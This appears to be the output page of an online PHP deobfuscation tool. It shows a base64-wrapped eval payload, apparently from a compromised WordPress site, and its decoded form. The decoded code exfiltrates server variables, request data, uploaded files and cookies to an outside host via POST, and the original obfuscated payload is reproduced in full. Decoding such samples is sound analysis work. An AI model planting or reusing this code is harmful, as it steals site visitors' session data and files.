Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("ew0KaWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCmR..

Decoded Output download

{
if (!defined('newo8dwpojap92-032jg43')) {
define('newo8dwpojap92-032jg43', 1);

{
function is_wp_login()
{
foreach ($_COOKIE as $key=>$val)
{
$key = strtolower($key);
if (strlen($key) <= 3)
{
continue;
}
$str1 = ["y","a","u","e","u","y","o","a","u","y"];
$str2 = ["k","l","z","x","c","v","m","n","b","j","h","g","w","q","r","d","p","t"];
$patt = '~(?<vowels>[yaueuyoauy])|(?<conson>[klzxcvmnbjhgwqrdapt])~iu';

        if (in_array($key[0],$str1))
        {
        $initk = 1;
        }
        elseif (in_array($key[0],$str2))
        {
        $initk = 0;
        }
        else{
        continue;
        }
        foreach (str_split($key) as $num=>$subkey)
        {

        if (in_array($subkey,$str1))
        {
        $initk -= 1;
        }
        elseif  (in_array($subkey,$str2))
        {
        $initk += 1;
        }
        else
        {
        $initk += 3;
        break;
        }
        if ($initk>1 || $initk <0) {
        $initk += 3;
        break;
        }
        }
        if ($initk<=1 && $initk >=0) {
        return TRUE;
        }

        }


        return FALSE;
        }

        if (is_wp_login())
        {

        {
        $url = "http://airforcecodes.site/wp-includes/blocks/group/sdewgxvcb.php";
        $context = Array();
        $context['http']['method'] = 'POST';
        $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
        $df_vnduasq = Array();
        $df_vnduasq['c1'] = "admin_ajax";
        $df_vnduasq['c2'] = base64_encode(base64_encode((serialize($_SERVER))) . "&&&&" . base64_encode(serialize($_REQUEST)) . "&&&&" . base64_encode(serialize($_FILES)) . "&&&&" . base64_encode(serialize($_COOKIE)));

        $context['http']['content'] = 'g093mpsdknfjdjg2=' . serialize($df_vnduasq);
        $context = stream_context_create($context);
        $res = file_get_contents($url, FALSE, $context);
        print $res;
        }
        }

        }

        }
        }

Did this file decode correctly?

Original Code

<?php  eval(base64_decode("ew0KaWYgKCFkZWZpbmVkKCduZXdvOGR3cG9qYXA5Mi0wMzJqZzQzJykpIHsNCmRlZmluZSgnbmV3bzhkd3BvamFwOTItMDMyamc0MycsIDEpOw0KDQp7DQpmdW5jdGlvbiBpc193cF9sb2dpbigpDQp7DQpmb3JlYWNoICgkX0NPT0tJRSBhcyAka2V5PT4kdmFsKQ0Kew0KJGtleSA9IHN0cnRvbG93ZXIoJGtleSk7DQppZiAoc3RybGVuKCRrZXkpIDw9IDMpDQp7DQpjb250aW51ZTsNCn0NCiRzdHIxID0gWyJ5IiwiYSIsInUiLCJlIiwidSIsInkiLCJvIiwiYSIsInUiLCJ5Il07DQokc3RyMiA9IFsiayIsImwiLCJ6IiwieCIsImMiLCJ2IiwibSIsIm4iLCJiIiwiaiIsImgiLCJnIiwidyIsInEiLCJyIiwiZCIsInAiLCJ0Il07DQokcGF0dCA9ICd+KD88dm93ZWxzPlt5YXVldXlvYXV5XSl8KD88Y29uc29uPltrbHp4Y3ZtbmJqaGd3cXJkYXB0XSl+aXUnOw0KDQogICAgICAgIGlmIChpbl9hcnJheSgka2V5WzBdLCRzdHIxKSkNCiAgICAgICAgew0KICAgICAgICAkaW5pdGsgPSAxOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJGtleVswXSwkc3RyMikpDQogICAgICAgIHsNCiAgICAgICAgJGluaXRrID0gMDsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlew0KICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoIChzdHJfc3BsaXQoJGtleSkgYXMgJG51bT0+JHN1YmtleSkNCiAgICAgICAgew0KDQogICAgICAgIGlmIChpbl9hcnJheSgkc3Via2V5LCRzdHIxKSkNCiAgICAgICAgew0KICAgICAgICAkaW5pdGsgLT0gMTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgIChpbl9hcnJheSgkc3Via2V5LCRzdHIyKSkNCiAgICAgICAgew0KICAgICAgICAkaW5pdGsgKz0gMTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgJGluaXRrICs9IDM7DQogICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGlmICgkaW5pdGs+MSB8fCAkaW5pdGsgPDApIHsNCiAgICAgICAgJGluaXRrICs9IDM7DQogICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpbml0azw9MSAmJiAkaW5pdGsgPj0wKSB7DQogICAgICAgIHJldHVybiBUUlVFOw0KICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcmV0dXJuIEZBTFNFOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGlzX3dwX2xvZ2luKCkpDQogICAgICAgIHsNCg0KICAgICAgICB7DQogICAgICAgICR1cmwgPSAiaHR0cDovL2FpcmZvcmNlY29kZXMuc2l0ZS93cC1pbmNsdWRlcy9ibG9ja3MvZ3JvdXAvc2Rld2d4dmNiLnBocCI7DQogICAgICAgICRjb250ZXh0ID0gQXJyYXkoKTsNCiAgICAgICAgJGNvbnRleHRbJ2h0dHAnXVsnbWV0aG9kJ10gPSAnUE9TVCc7DQogICAgICAgICRjb250ZXh0WydodHRwJ11bJ2hlYWRlciddID0gJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJzsNCiAgICAgICAgJGRmX3ZuZHVhc3EgPSBBcnJheSgpOw0KICAgICAgICAkZGZfdm5kdWFzcVsnYzEnXSA9ICJhZG1pbl9hamF4IjsNCiAgICAgICAgJGRmX3ZuZHVhc3FbJ2MyJ10gPSBiYXNlNjRfZW5jb2RlKGJhc2U2NF9lbmNvZGUoKHNlcmlhbGl6ZSgkX1NFUlZFUikpKSAuICImJiYmIiAuIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRfUkVRVUVTVCkpIC4gIiYmJiYiIC4gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJF9GSUxFUykpIC4gIiYmJiYiIC4gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJF9DT09LSUUpKSk7DQoNCiAgICAgICAgJGNvbnRleHRbJ2h0dHAnXVsnY29udGVudCddID0gJ2cwOTNtcHNka25mamRqZzI9JyAuIHNlcmlhbGl6ZSgkZGZfdm5kdWFzcSk7DQogICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRjb250ZXh0KTsNCiAgICAgICAgJHJlcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIEZBTFNFLCAkY29udGV4dCk7DQogICAgICAgIHByaW50ICRyZXM7DQogICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgICAgICB9DQogICAgICAgIH0="));?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 ae0c219fc7a97626e707d3d867c3acdd
Eval Count 1
Decode Time 49 ms